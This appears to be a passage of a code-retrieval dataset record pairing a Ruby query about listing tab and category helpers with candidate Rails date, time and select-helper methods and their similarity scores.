"def valid_times_as_select_options()\n self.valid_times.size()==0 ? \n ValidTime.default.select_options() :\n self.valid_times_sorted.inject([]){|opt,vt| opt + vt.select_options()}\n end",
"def datetime_local_field(name, *args)\n options = args.extract_options!.symbolize_keys!\n prepare_options(name, options)\n options[:input_group][:data].merge!({'date-extra-formats' => [BootstrapForm::DATE_FORMAT_JS+\"THH:mm\"+(options[:include_seconds] ? ':ss' : '')]}.merge(options[:data] || {}))\n append_min_max(BootstrapForm::DATE_FORMAT_RUBY+\"T%T\", options)\n args << options\n super\n end",
"def skip_time_zone_conversion_for_attributes\n []\n end",
"def select_second(datetime, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def safe_datetime_string\n safe_date = nil\n if self =~ US_DATE_REGEX\n safe_date = us_date_to_iso_str\n elsif self =~ JSON_DATE_REGEX\n safe_date = json_date_to_time.to_s\n else\n safe_date = self\n end\n safe_date\n end",
"def short_select_text_method\n ['du', beginning_of_week, 'au', end_of_week]\n .map(&:to_s)\n .map(&:strip)\n .join(' ')\n end",
"def format_date\n chars = @date.split('')\n chars.pop(6)\n chars.join('')\n end",
"def date_select(method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def _format_date_select(values, order)\n name = @attr[:name]\n id = @attr[:id]\n ops = DEFAULT_DATE_SELECT_OPS\n ops = ops.merge(@opts[:select_options]) if @opts[:select_options]\n first_input = true\n format = DATE_SELECT_FORMAT\n @opts[:select_labels] ||= {}\n order.map do |x|\n next x if x.is_a?(String)\n options = ops[x].map do |value, text|\n [text || sprintf(format, value), value]\n end\n opts = @opts.merge(:label=>@opts[:select_labels][x], :wrapper=>nil, :error=>nil, :name=>\"#{name}[#{x}]\", :value=>values[x], :options=>options)\n opts[:id] = if first_input\n first_input = false\n id\n else\n \"#{id}_#{x}\"\n end\n form._input(:select, opts).format\n end\n end",
"def datetime(fieldname, options={})\n title = options.delete(:title) || build_title(fieldname)\n options[:include_blank] ||= true\n\n tag_wrapper title, datetime_select(fieldname, options), :dd => { :class => 'dates' }\n end",
"def datetime_field_tag(name, value = T.unsafe(nil), options = T.unsafe(nil)); end",
"def search_time_select_box(time = nil)\n select_tag 'searchTime',\n options_for_select(\n options_for_time_select,\n time || TimeSanitizer.time_ceil_at(DateTime.now.in_time_zone, 30).strftime('%H:%M')\n ),\n class: 'select2_time form-control'\n end",
"def select_html(type, options, prefix = nil, include_blank = false, discard_type = false, disabled = false)\n select_html = %(<select name=\"#{prefix || 'date'})\n select_html << \"[#{type}]\" unless discard_type\n select_html << %(\")\n select_html << %( disabled=\"disabled\") if disabled\n select_html << %(>\\n)\n select_html << %(<option value=\"\"></option>\\n) if include_blank\n select_html << options.to_s\n select_html << \"</select>\\n\"\n select_html.html_safe\n end",
"def normalize_select!(parameters)\n return parameters unless parameters.key?(:select)\n\n parameters[:select] = parameters[:select].split(',').map(&:strip) if parameters[:select].is_a? String\n parameters[:select] = parameters[:select].reject { |p| p.start_with?('sys.') }\n parameters[:select] << 'sys' unless parameters[:select].include?('sys')\n parameters[:select] = parameters[:select].join(',')\n\n parameters\n end",
"def datetime_select(method, options = {}, html_options = {})\n @template.datetime_select(@object_name, method, objectify_options(options), html_options)\n end",
"def coerce_datetime(datetime_string)\n case datetime_string\n when /^(\\d{4}-\\d{2}-\\d{2})$/\n datetime_string\n when /^(\\d{4}-\\d{2}-\\d{2})/\n datetime = datetime_escape(datetime_string)\n datetime.strftime(Sparkql::FunctionResolver::STRFTIME_DATE_FORMAT)\n else\n datetime_string\n end\n end",
"def datetime_format\n /^\\d{4}-\\d{2}-\\d{2}\\w\\d{2}:\\d{2}:\\d{2}/\n end",
"def datetime_select_jp(form, method, options ={})\n options[:use_month_numbers].nil? and options[:use_month_numbers] = true\n options[:end_year] ||= (form.object.send(method) || @show_time).year + 10 \n form.datetime_select(method, options)\n end",
"def remove_brackets\n orig_date_str.delete('[]') if orig_date_str.match(BRACKETS_BETWEEN_DIGITS_REXEXP)\n end",
"def date_field_with_time_allowing_blank(date, object_name, method, options={})\n hash = { :date => '', :time => '' } \n \n\thash = separate_date_time(date) if date != nil\n\t\n date_part = date_field(object_name, method+'_date', :size => 15, :value => hash[:date])\n time_part = text_field object_name, method+'_time', :size => 4, :value => hash[:time]\n \n return date_part+' ' + time_part\n end",
"def clean_date\n read_attribute :date\n end",
"def truncate_datetime(datetime)\n datetime.change(tick =~ /days?$/ ? {hour: 0} : {min: 0})\n end",
"def datetime_select(object_name, method, options = {})\n options.reverse_merge!(LocalizationSimplified::DateHelper::DateSelectOrder)\n orig_datetime_select(object_name, method, options)\n end",
"def day_sequenced_form_column(record, input_name)\n select_tag(input_name, options_for_select(DD, record.collected_on_day))\n end",
"def select_hour(datetime, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def normalize_days\n self.days = days.reject(&:empty?).join(\",\") unless days.is_a?(String)\n end",
"def override_field_select_sql(column)\n nil\n end",
"def format_datetime(datetime, fmt = '%e %B %Y')\n return datetime unless datetime.is_a? Time\n datetime.strftime(fmt).strip\n end",
"def datetimepicker_options(format, value = nil)\n datetimepicker_options = {:value => value.try(:strftime, format), :class => 'ui-timepicker'}\n end",
"def cleanField(text = \"\")\n text.gsub!(\"Twentieth Century\", \"\") # date parser hates this...\n text.gsub!(\"-\",\" - \")\n \n text.scan(/(\\b\\d{4}s)/).each {|s| text.gsub!(s.first, convertDecades(s.first) )} #we need to convert decades with s'es (1930s) into ranges. \n text.scan(/(c\\d{4})/).each { |s| text.gsub!(s.first, s.first.delete(\"c\") )} #we need to remove c in copyright dates c1990 \n text.scan(/(\\d{4},)/).each {|s| text.gsub!(s.first, s.first.delete(\",\") )} #we need to remove commas after dates, like 1990,\n text.scan(/(\\d\\/)\\d{4}/).each { |p| text.gsub!( p.first, \"0#{p.first.gsub(\"/\", \"-\")}\" ) }\n \n \n text\n \n end",
"def post_process_datetime( val )\n\t\t\treturn Time.parse( val )\n\t\trescue ArgumentError\n\t\t\treturn nil\n\t\tend",
"def select_option_value\n self.identifier.gsub(/\\//, '--')\n end",
"def format_datetime(t)\n format DFORMAT, t.day, t.mon, t.year, t.hour, t.min, t.sec, t.zone\n end",
"def date_dashes(d)\n d && d.length == 8 ? d.slice(0, 4) + \"-\" + d.slice(4, 2) + \"-\" + d.slice(6, 2) : d\n end",
"def quote_time(v)\n quote_string v.strftime(ISO8601_DATETIME)\n end",
"def text_for_html_select_option\n html = self.full_address\n html += ' | '\n html += self.owner_full_name\n html.gsub( /\\s\\s/, ' ' )\n end",
"def sql_datetime_second_mask\n case session[:database][:locale]\n when \"de\" then \"DD.MM.YYYY HH24:MI:SS\"\n when \"en\" then \"YYYY-MM-DD HH24:MI:SS\"\n else \"DD.MM.YYYY HH24:MI:SS\" # Deutsche Variante als default\n end\n end",
"def time_select(f, field, options_tag = {}, html_options = {})\n output = f.select(:\"#{field}_hour\", (1..12).to_a, {}, html_options.merge(\"aria-label\": f.object.class.human_attribute_name(\"#{field}_hour\")))\n output.safe_concat f.select(:\"#{field}_min\", minute_options(options_tag[:minute_step]), {}, html_options.merge(\"aria-label\": f.object.class.human_attribute_name(\"#{field}_min\")))\n output.safe_concat f.select(:\"#{field}_meridian\", %w(AM PM), {}, html_options.merge(\"aria-label\": f.object.class.human_attribute_name(\"#{field}_meridian\")))\n content_tag :div, output, class: \"time-select\"\n end",
"def date_select_old_html (attrs, obj = nil, col = nil)\n date = attrs[:date]\n nullable = attrs[:nullable]\n day_attrs = attrs.merge(\n :name => attrs[:name] + '[day]',\n :id => attrs[:id] + '_day',\n :selected => (date ? date.day.to_s : ''),\n :class => (obj and col) ? (obj.errors[col] ? 'error' : '') : nil,\n :collection => (nullable ? [['', '-']] : []) + (1..31).to_a.map{ |x| x = [x.to_s, x.to_s] }\n )\n \n count = 0\n month_attrs = attrs.merge(\n :name => attrs[:name] + '[month]',\n :id => attrs[:id] + '_month',\n :selected => (date ? date.month.to_s : ''),\n :class => obj ? (obj.errors[col] ? 'error' : '') : nil,\n :collection => (nullable ? [['', '-']] : []) + MONTHS.map { |x| count += 1; x = [count, x] }\n )\n\n min_year = attrs[:min_date] ? attrs[:min_date].year : 1900\n max_year = attrs[:max_date] ? attrs[:max_date].year : date.year + 3\n year_attrs = attrs.merge(\n :name => attrs[:name] + '[year]',\n :id => attrs[:id] + '_year',\n :selected => (date ? date.year.to_s : ''),\n :class => obj ? (obj.errors[col] ? 'error' : '') : nil,\n :collection => (nullable ? [['', '-']] : []) + (min_year..max_year).to_a.reverse.map{|x| x = [x.to_s, x.to_s]}\n )\n select(month_attrs) + '' + select(day_attrs) + '' + select(year_attrs)\n end",
"def beginning_day=(string)\n frm.select(:id=>\"release_day\").select(string)\n end",
"def quote_time(v)\n quote_string v.strftime(ISO8601_DATETIME)\n end",
"def scrub_date(hash)\n scrubbed_hash = {}\n hash.each do |key, value|\n scrubbed_hash[key.gsub(/[a-z]/, '')] = value\n end\n scrubbed_hash\n end",
"def from_truncated\n truncate_datetime(from)\n end",
"def to_truncated\n truncate_datetime(to)\n end",
"def time_html( day, second, time_start_stop)\n time_html = \"\"\n \n time_html += create_select(day, second, time_start_stop, \"hour\")\n \ttime_html += create_select(day, second, time_start_stop, \"min\")\n \n return time_html.html_safe\n end",
"def time_select_for(select_start, select_end) #bcoz time_select name is already a rails helper\n #need to map time_choices to am_pm view format and normal time save format -H\n get_time_choices(select_start, select_end, min_block).map {|t| [t.to_s(:am_pm), t]}\n end",
"def datetime\n return \"\" if self.date.nil?\n self.date.iso8601\n end",
"def datetime\n return \"\" if self.date.nil?\n self.date.iso8601\n end",
"def time_zone_options_for_select(selected = T.unsafe(nil), priority_zones = T.unsafe(nil), model = T.unsafe(nil)); end",
"def datetime_local_field_tag(name, value = T.unsafe(nil), options = T.unsafe(nil)); end",
"def get_format_dropdown()\n collection_select(\"project\", \"format\", format_list(), :first, :last, {:prompt => \"Please select\"})\n end",
"def select_minute(datetime, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def select_day(date, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def input\n text_field << date_select << javascript\n end",
"def clear_timeless_option\n self.class.timestamping = true\n end",
"def datetime_field_tag(name, value=nil, options={})\n default = {}\n default[:placeholder] = I18n.translate!('time.placeholder') rescue nil\n default[:size] ||= 24\n return text_field_tag(name, value, default.merge(options))\n end",
"def datetime_format=(format)\n end",
"def quote(fld)\n case fld\n when DateTime, Time\n %Q|'#{fld.to_s[0..-7]}'|\n when String, Symbol\n %Q|'#{escape fld.to_s}'|\n else\n super\n end\n\n end",
"def clean_data( field )\n\tfield.to_s.strip\nend",
"def dates\n # only convert fields whose name is date* or *_date*\n # lots of other things might be 8 digits, and we have to exclude eg 'candidate'\n t.convert :field => /(^|_)date/ do |value|\n unless value.nil?\n Date.parse(value) rescue value\n end\n end\n end",
"def select_custom_date_filter(from_date, to_date)\n date_option_custom.click\n custom_date_from.text = from_date\n custom_date_to.text = to_date\n end",
"def beginning_hour=(string)\n frm.select(:id=>\"release_hour\").select(string)\n end",
"def watch_birthdate\n birthdate.to_s(:short_date)\n end",
"def removeTimestamps(s)\n # Drop the first occurrences only (but drop both)\n return s.sub(/ \"last_updated\": \"[^\"]+\",/, '').sub(/ \"code_version\": \"[^\"]+\",/, '')\nend",
"def format_date_nicely(date)\nend",
"def strip_time(time)\n time = time.to_s\n n = time.size\n time[0..n - 4]\n end",
"def select_time(datetime = Time.now, options = {})\r\n if !options[:order]\r\n options[:order] = DEFAULT_TIME_ORDER\r\n options[:order] << ':' << :second if options[:include_seconds]\r\n else\r\n options[:order] = options[:order] - [:year, :month, :day]\r\n end\r\n select_datetime(datetime, options)\r\n end",
"def get_drop_time\n drop_time.strftime(\"%H:%M %p\") if drop_time.present?\n end",
"def departureDate = (value)",
"def solrize_date(date)\n date.strftime('%Y-%m-%dT00:00:00Z')\n end",
"def standardize\n # clean.delete(' ').delete('-').delete('.')\n clean.gsub(/[-\\s.#]/, '')\n end",
"def get_date_time_for_display(date_time_value)\n formatted_date = \"\"\n if(date_time_value != nil)\n d = DateTime.parse(date_time_value)\n formatted_date = d.strftime(\"%Y\")\n end\n return formatted_date\n end",
"def created_at_for_solr\n return FinderHelper.strip(created_at.to_i)\n end",
"def simple_date_select(caption, options)\n month_value, day_value, year_value = object.send(options[:month]), object.send(options[:day]), object.send(options[:year])\n end_year = Time.now.year - 10\n html = @template.content_tag(\"dt\", \"#{caption}:\")\n html << @template.content_tag(\"dd\") do\n @template.select_month(month_value, :field_name => options[:month], :prefix => object_name.to_s, :include_blank => options[:include_blank]) + \"\\n\" +\n @template.select_day(day_value, :field_name => options[:day], :prefix => object_name.to_s, :include_blank => options[:include_blank]) + \"\\n\" +\n @template.select_year(year_value, :field_name => options[:year], :prefix => object_name.to_s, :start_year => end_year, :end_year => options[:start_year], :include_blank => options[:include_blank])\n end\n end",
"def input_html_classes\n super.push(\"datetimepicker\")\n end",
"def quoted_date(value)\n if value.acts_like?(:time)\n if value.respond_to?(:getutc)\n value = value.getutc\n end\n end\n\n result = value.to_s(:db)\n end"
] |
[
"0.67438483",
"0.6348233",
"0.6309264",
"0.5955529",
"0.5917187",
"0.57007986",
"0.5696131",
"0.56909573",
"0.5608724",
"0.5583876",
"0.55513513",
"0.55481327",
"0.54500437",
"0.5400907",
"0.5383588",
"0.5353372",
"0.5352533",
"0.53165966",
"0.5315419",
"0.5301577",
"0.52769744",
"0.52764165",
"0.52639985",
"0.5247294",
"0.5244632",
"0.524037",
"0.52202684",
"0.52097017",
"0.52090216",
"0.52024287",
"0.5176997",
"0.5162002",
"0.5149393",
"0.5125788",
"0.51176196",
"0.5108542",
"0.51041996",
"0.50965595",
"0.5092477",
"0.50693566",
"0.50678074",
"0.50459695",
"0.5038326",
"0.5031893",
"0.50305164",
"0.50258803",
"0.50150436",
"0.50136465",
"0.50050235",
"0.49974847",
"0.49929446",
"0.49647865",
"0.4964297",
"0.4956416",
"0.4955301",
"0.49423876",
"0.49288014",
"0.49253416",
"0.4920184",
"0.49100402",
"0.4909844",
"0.4896917",
"0.4893243",
"0.4870283",
"0.48490182",
"0.48468933",
"0.48446527",
"0.48443142",
"0.48419455",
"0.48419455",
"0.48392045",
"0.48391178",
"0.48364377",
"0.4829698",
"0.48286816",
"0.48269045",
"0.48259872",
"0.4824392",
"0.48164135",
"0.48118612",
"0.47994974",
"0.47974285",
"0.47862625",
"0.47823042",
"0.47644612",
"0.4762554",
"0.4760152",
"0.4758294",
"0.47538537",
"0.47301638",
"0.47101778",
"0.47066915",
"0.470337",
"0.47007704",
"0.4696607",
"0.46942046",
"0.46928203",
"0.46924475"
] |
0.70039994
|
2
|
Class is selected if listing type is currently selected
|
def get_listing_tab_class(tab_name)
current_tab_name = params[:type] || "list_view"
"inbox_tab_#{current_tab_name.eql?(tab_name) ? 'selected' : 'unselected'}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_new_listing_tab_class(listing_type)\n \"new_listing_form_tab_#{@listing.listing_type.eql?(listing_type) ? 'selected' : 'unselected'}\"\n end",
"def get_type_select_icon_class(category)\n \"listing_type_select_icon_#{@listing.category.eql?(category) ? 'selected' : 'unselected'}_#{category}\"\n end",
"def selected; end",
"def selected?; end",
"def selected?; end",
"def custom_collect_class(cllt_type, resource)\n cllt_type == 'check_box' ? get_tag_class(resource.object.name) : resource.text\n end",
"def choose_new_type\n @types = Poll.all_types_for_select\n end",
"def selected?; false; end",
"def selected?; false; end",
"def selected\n @selected\n end",
"def set_class_type\n @class_type = ClassType.find(params[:id])\n end",
"def menu_item_class(menu_item_title)\n @current_archive == Archive.ada && menu_item_title == @title ? \"current\" : \"\"\n end",
"def list_class(list, mode)\n \"complete\" if all_complete?(list, mode)\n end",
"def new_creatable_selection\n select_tag :model_type,options_for_select(creatable_classes.collect{|c| [c.underscore.humanize,c.underscore] })\n end",
"def list_item_class\n if can? :use, machine\n case object.state\n when \"available\"\n \"object list-group-item clearfix\"\n when \"empty\"\n \"object list-group-item list-group-item-info clearfix\"\n when \"unpaid\"\n \"object list-group-item list-group-item-warning clearfix\"\n when \"ready\"\n \"object list-group-item list-group-item-warning clearfix\"\n when \"in_progress\"\n \"object list-group-item list-group-item-success clearfix\"\n when \"complete\"\n \"object list-group-item list-group-item-success clearfix\"\n end\n else\n \"object list-group-item disabled clearfix\"\n end\n end",
"def select_type\n\t\t\t@select_all_type = TypeEquipament.all\n\t\tend",
"def select_by_class(klass)\n scoped = @project.objects_hash.select { |_, attr| attr['isa'] == klass.isa }\n PBXObjectList.new(klass, @project, scoped)\n end",
"def list_css_class\n \"#{model_type}-list\"\n end",
"def get_share_type_checkbox_classes(share_type)\n classes = \"\"\n Listing::VALID_CATEGORIES.each do |category|\n if Listing::VALID_SHARE_TYPES[@listing.listing_type][category] &&\n Listing::VALID_SHARE_TYPES[@listing.listing_type][category].include?(share_type)\n classes += \"#{category} \"\n end \n end\n classes \n end",
"def active_class(rendered_page, current_page)\n if rendered_page[:shortname] == current_page[:shortname]\n return 'active'\n elsif (current_page.page_type == \"country\" && !current_page.parent.nil? && rendered_page[:shortname] == current_page.parent[:shortname])\n return 'active'\n end\n return '' \n end",
"def select_item\n @selected = @current\n\n items\n end",
"def works_with\n self.class.use_with_class_names.include? item_type\n end",
"def class_for_current_displayed_revision(revision, current_display)\n if revision.id == current_display.id \n return REVISION_SELECTED\n else\n return \"\"\n end\n end",
"def select_by_class(class_name)\n @browser.select_list(:class, cuke_class(class_name))\nend",
"def query_type=(query_option)\n @browser.select_list(:id => \"smartSearchSubtype_0\").select(query_option)\n end",
"def css_class\n @options[:class] || 'navigation'\n end",
"def list_class(list)\n \"complete\" if is_complete?(list)\n end",
"def select_by_class_get_selected(class_name)\n return select_by_class(class_name).selected_option\nend",
"def lbIsSelected _obj, _args\n \"_obj lbIsSelected _args;\" \n end",
"def show\n @current_selection = params[:current_selection] or \"activities\"\n end",
"def plans_classes\n cls = 'plans'\n if @selected_plan\n cls << ' plan-selected'\n end\n cls\n end",
"def item_class\n item_type&.classify&.constantize\n end",
"def selected?\n is_controller = @controller_name == @current_controller.controller_name\n \n case @selection_scope\n when :action\n is_controller && @action_name == @current_controller.action_name\n when :controller\n is_controller || @items.any?(&:selected?)\n end\n end",
"def show\n @listing_type = ListingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def parse_list\n super\n current_list = @tree.children.select { |element| LIST_TYPES.include?(element.type) }.last\n\n is_tasklist = false\n box_unchecked = '<input type=\"checkbox\" class=\"task-list-item-checkbox\" disabled=\"disabled\" />'\n box_checked = '<input type=\"checkbox\" class=\"task-list-item-checkbox\" ' \\\n 'disabled=\"disabled\" checked=\"checked\" />'\n\n current_list.children.each do |li|\n list_items = li.children\n next unless !list_items.empty? && list_items[0].type == :p\n\n # li -> p -> raw_text\n descendant = list_items[0].children[0].value\n checked = descendant.gsub!(/\\A\\s*\\[ \\]\\s+/, box_unchecked)\n unchecked = descendant.gsub!(/\\A\\s*\\[x\\]\\s+/i, box_checked)\n is_tasklist ||= checked || unchecked\n\n li.attr['class'] = 'task-list-item' if is_tasklist\n end\n\n current_list.attr['class'] = 'task-list' if is_tasklist\n\n true\n end",
"def selectable\n @selectable ||= [:select_list]\n end",
"def select_list_option\n select_list.a(:class => \"select-list-option\")\n end",
"def type_for_dropdown\n return list_item.type unless list_item.object?\n\n list_item.object_type.to_s\n end",
"def item_selected=(value)\n @item_selected = value\n end",
"def klass\n @options[:class].presence\n end",
"def selected_page\n end",
"def select\n self.state = @sidebar.selected.data[:id]\n end",
"def selected\n find(&:selected?)\n end",
"def selected?\n @selected\n end",
"def current_is_a?(type)\n assit_kind_of(Class, type)\n @current.attributes['type'] && (\"TaliaCore::#{@current.attributes['type']}\".constantize <= type)\n end",
"def status\n super || ListItem.active_status\n end",
"def active_link_class(item)\n active_class = 'active_menu_link'\n found = false\n case item.class.to_s\n when 'Project'\n found = true if (@project && @project == item) && (@stage.blank?)\n when 'Host'\n found = true if @host && @host == item\n when 'Recipe'\n found = true if @recipe && @recipe == item\n when 'User'\n found = true if @user && @user == item\n when 'Stage'\n found = true if @stage && @stage == item\n end\n \n if found\n active_class\n else\n ''\n end\n end",
"def current_type\n @type\n end",
"def selected?\n return @selected\n end",
"def case_add_to_list(selection)\n case selection\n when 'Song'\n search_song\n when 'Artist'\n search_artist\n when 'Genre'\n store_genre\n when 'Back'\n @menu.my_list\n end\n end",
"def settings_selection(settings_type)\n settings_icon.click\n setting_select.each do |setting|\n setting.click if setting.text == settings_type\n end\n end",
"def is_item? listing, flg=true\n val = %w(employment service item housing)\n flg ? !(listing.is_category_type? val) : (listing.is_category_type? val)\n end",
"def selected_options; end",
"def selected_options; end",
"def current_class( class_code )\n self.classes.select{|c| c.class_code == class_code }.first\n end",
"def class?\n @type == :class\n end",
"def class?\n @type == :class\n end",
"def donable_selected\n @donable = donable_class_constant(params[:donable_type]).new\n render_donable_partial\n end",
"def select_category\n #Parbauda vai ekrans ir redzams\n @screens.screen_create_filter.visible?\n #Pievieno kategoriju no filtra datiem\n @screens.screen_create_filter.select_row(@filter_data.category)\n end",
"def search_type\r\n posting_type == 'Freight' ? 'LoadingSpace' : 'Freight'\r\n end",
"def selected?\n @selected ||= selected_by_subnav? || selected_by_condition?\n end",
"def fav_saved_selection(return_selection)\n case return_selection\n when 1\n today_menu \n when 2\n weekend_menu\n when 3\n display_favorites\n else\n welcome_header\n main_menu\n end \n \n end",
"def set_LodgingClass(value)\n set_input(\"LodgingClass\", value)\n end",
"def class_type=(value)\n\t\tself[:type] = value\n\tend",
"def options_for_class(klass)\n DoesKeyValue.log(\"State: Querying options_for_class for class:#{klass.to_s}\")\n @classes[klass.to_s] rescue {}\n end",
"def selected_class_cards\n logger.info \"class_info: #{params[:class_selected_id]}\"\n @class_deck = SkillCard.where(class_id: params[:class_selected_id])\n render \"user/_class_selected\",\n locals: { selected_class: @class_deck },\n layout: false\n end",
"def has_selected?\n selected?\n end",
"def class_for_step(context, step)\n css_class = case\n # when context.workflow.current?(step)\n # 'nav-info'\n when context.workflow.completed?(step)\n 'nav-success'\n else 'nav-disabled'\n end\n\n css_class\n end",
"def select_list; end",
"def set_class\n @class = Class.find(params[:id])\n end",
"def select\n self[:select]\n end",
"def activate_menu(menu_class, selected_menu)\r\n class_list = menu_class\r\n class_list += (selected_menu == menu_class) ? \" active\" : \"\"\r\n end",
"def browse\n #@listings = Listing.find(:all, :order => \"type\")\n @user = current_user\n @listings = Listing.find(:all, \n :conditions => [\"user_id != ? and status = 'new'\",@user.id ],\n :order => :type, \n :page => {:size => 4, :current => params[:page]})\n @header_type = \"Browse All Listings\"\n \n \n end",
"def select_list\n @browser.div(:class => \"select-list\")\n end",
"def tab( tab, include_class_text = true )\n\n value = 'inactive'\n value = 'selected' if tab\n \n if include_class_text\n ('class=\"' << value << '\"').html_safe\n else\n value\n end\n end",
"def input_class(input_type)\r\n hash = {\r\n 'select-one' => 'SelectList',\r\n 'select-multiple' => 'SelectList',\r\n 'text' => 'TextField',\r\n 'password' => 'TextField',\r\n 'textarea' => 'TextField',\r\n # TODO when there's no type, it's a TextField\r\n 'file' => 'FileField',\r\n 'checkbox' => 'CheckBox',\r\n 'radio' => 'Radio',\r\n 'reset' => 'Button',\r\n 'button' => 'Button',\r\n 'submit' => 'Button',\r\n 'image' => 'Button'\r\n }\r\n hash.default = 'Element'\r\n \r\n hash[input_type]\r\n end",
"def set_checklist_type\n @checklist_type = ChecklistType.find(params[:id])\n end",
"def listing_type=(listing_type)\n validator = EnumAttributeValidator.new('String', ['Sale', 'Rent', 'Share', 'Sold', 'NewHomes'])\n unless validator.valid?(listing_type)\n fail ArgumentError, 'invalid value for \"listing_type\", must be one of #{validator.allowable_values}.'\n end\n @listing_type = listing_type\n end",
"def select_by_class_set_value(class_name, value)\n select_by_class(class_name).select value\nend",
"def selectFilename\n idx = $fnamelist.curselection\n if idx.length==1\n idx = idx[0]\n title = $ovtitles[idx]\n series = $ovseries[idx]\n episode = $ovepisodes[idx]\n\n clearListSelection\n\n $titlelist.itemconfigure(idx, :background => \"#00ffff\")\n $serieslist.itemconfigure(idx, :background => \"#00ffff\")\n $episodelist.itemconfigure(idx, :background => \"#00ffff\")\n\n\n $status.value = \"Title: #{title}, Series: #{series} Episode: #{episode}\"\n else\n $status.value = \"Oook?\"\n end\n\nend",
"def html_opts(path)\n path.split(\"?\").first == request.path ? { class: 'selected' } : {}\n end",
"def klass=(content_type)\n if self.class_name == content_type.slug\n @klass = content_type\n end\n end",
"def special_list_type\n @in_special_list ? @in_special_list : nil\n end",
"def set_class_list\n @class_list = ClassList.find(params[:id])\n end",
"def is_selected_html?(object, foreign_key, foreign_key_choice)\n if object.send(foreign_key).id == foreign_key_choice.id\n \" selected \"\n else\n \"\"\n end\n end",
"def acts_as_selector\n define_method(\"is_selector?\") { true }\n end",
"def selected\r\n assert_exists\r\n #@option.selected\r\n option_selected\r\n end",
"def selected_by_condition?\n is_active_nav_link?(url, highlights_on)\n end",
"def klass\n fetch('dnd.klasses')\n end",
"def klass\n fetch('dnd.klasses')\n end",
"def menu_selection \nend",
"def select_marital_option(marital_status)\n # Consider something like a case statement and check the selenium selected? method\n case marital_status.downcase\n when 'single'\n @chrome_driver.find_elements(:name, MARITAL_STATUS)[0].click\n when 'married'\n @chrome_driver.find_elements(:name, MARITAL_STATUS)[1].click\n when 'divorced'\n @chrome_driver.find_elements(:name, MARITAL_STATUS)[2].click\n end\n end",
"def active_class(image)\n image == images.first ? 'active' : ''\n end",
"def active_class\n act_class = :active\n act_class = :inactive unless self.active?\n act_class\n end",
"def select_question_type(qtype)\n frm.select(:id=>\"_id1:selType\").select(qtype)\n frm.button(:value=>\"Save\").click\n\n page = case(qtype)\n when \"Multiple Choice\" then MultipleChoice.new(@browser)\n when \"True False\" then TrueFalse.new(@browser)\n when \"Survey\" then Survey.new(@browser)\n when \"Short Answer/Essay\" then ShortAnswer.new(@browser)\n when \"Fill in the Blank\" then FillInBlank.new(@browser)\n when \"Numeric Response\" then NumericResponse.new(@browser)\n when \"Matching\" then Matching.new(@browser)\n when \"Audio Recording\" then AudioRecording.new(@browser)\n when \"File Upload\" then FileUpload.new(@browser)\n else puts \"nothing selected\"\n end\n\n return page\n\n end",
"def set_menu_class\n @menu_class = MenuClass.find(params[:id])\n end",
"def select\n self[:select]\n end",
"def category_selection(category)\n category = Public_apis.find_by_name(category)\n #goes over list item array . find method to find item\n\n \n end"
] |
[
"0.70310605",
"0.6677346",
"0.60319775",
"0.60249406",
"0.60249406",
"0.58472794",
"0.5712906",
"0.5561352",
"0.5561352",
"0.551788",
"0.550998",
"0.54952693",
"0.54813576",
"0.5461367",
"0.54451317",
"0.5444347",
"0.5407138",
"0.53911525",
"0.53695405",
"0.5360523",
"0.5346429",
"0.53429717",
"0.5334215",
"0.5302197",
"0.52864325",
"0.52852803",
"0.5273269",
"0.5264115",
"0.5263205",
"0.52544236",
"0.5242371",
"0.52414644",
"0.5233706",
"0.5233128",
"0.5222779",
"0.5208709",
"0.51742613",
"0.51676977",
"0.5163069",
"0.51616377",
"0.51481605",
"0.5143765",
"0.5133083",
"0.512771",
"0.511669",
"0.5111746",
"0.50971574",
"0.5095577",
"0.5087426",
"0.50752485",
"0.5068961",
"0.5063003",
"0.5061464",
"0.5061464",
"0.5058025",
"0.5040598",
"0.5040598",
"0.50350547",
"0.503234",
"0.5020955",
"0.5016563",
"0.50138694",
"0.50110877",
"0.4995468",
"0.49936825",
"0.49916166",
"0.49776423",
"0.49716595",
"0.49678028",
"0.49633494",
"0.4960493",
"0.49524108",
"0.49455345",
"0.4931759",
"0.490777",
"0.49051684",
"0.49026287",
"0.4900525",
"0.48986265",
"0.488501",
"0.48776817",
"0.4875953",
"0.48737732",
"0.48558334",
"0.48509234",
"0.4840479",
"0.4833912",
"0.483257",
"0.48310626",
"0.48310626",
"0.48245245",
"0.48223534",
"0.48219886",
"0.48158526",
"0.4798281",
"0.4788577",
"0.47848657",
"0.47791216"
] |
0.61910784
|
4
|
expects category_string to be "item", "favor", "rideshare" or "housing"
|
def localized_category_label(category_string)
return nil if category_string.nil?
category_string += "s" if ["item", "favor"].include?(category_string)
return t("listings.index.#{category_string}")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def categories(str)\n raise NotImplementedError\n end",
"def get_category_newsgroup(category)\n case category\n when \"sell\"\n \"tori.myydaan\"\n when \"buy\"\n \"tori.ostetaan\"\n when \"give\"\n \"tori.myydaan\"\n when \"lost\"\n \"tori.kadonnut\"\n when \"rides\"\n \"tori.kyydit\"\n else\n nil \n end \n end",
"def category_string\n return Item::ITEM_CATEGORIES[self.category_id] if self.category_id\n return \"\"\n end",
"def parsed_category\n self.category = self[:category] unless self[:category].to_s =~ /^[A-Z]$/\n self[:category]\n end",
"def get_category(category)\n CATEGORIES[category.downcase]\n end",
"def has_category?(item, category)\n return false if item[:categories].nil?\n item[:categories].collect{|c| c.downcase}.include? category.downcase\n end",
"def test_add_multiple_categories_by_string\n total_num_categories = Category.count\n\n categories_to_add = \"%s %s %s\" % [@work_cat.name, @religion_cat.name, \"popular\"]\n \n # check the two categories have been added to the quotation\n assert @work_opinion.set_categories_by_string(categories_to_add)\n assert_equal 3, @work_opinion.categories.size\n \n # check the new category has been added\n assert_equal total_num_categories + 1, Category.count\n assert Category.find_by_name(\"popular\")\n end",
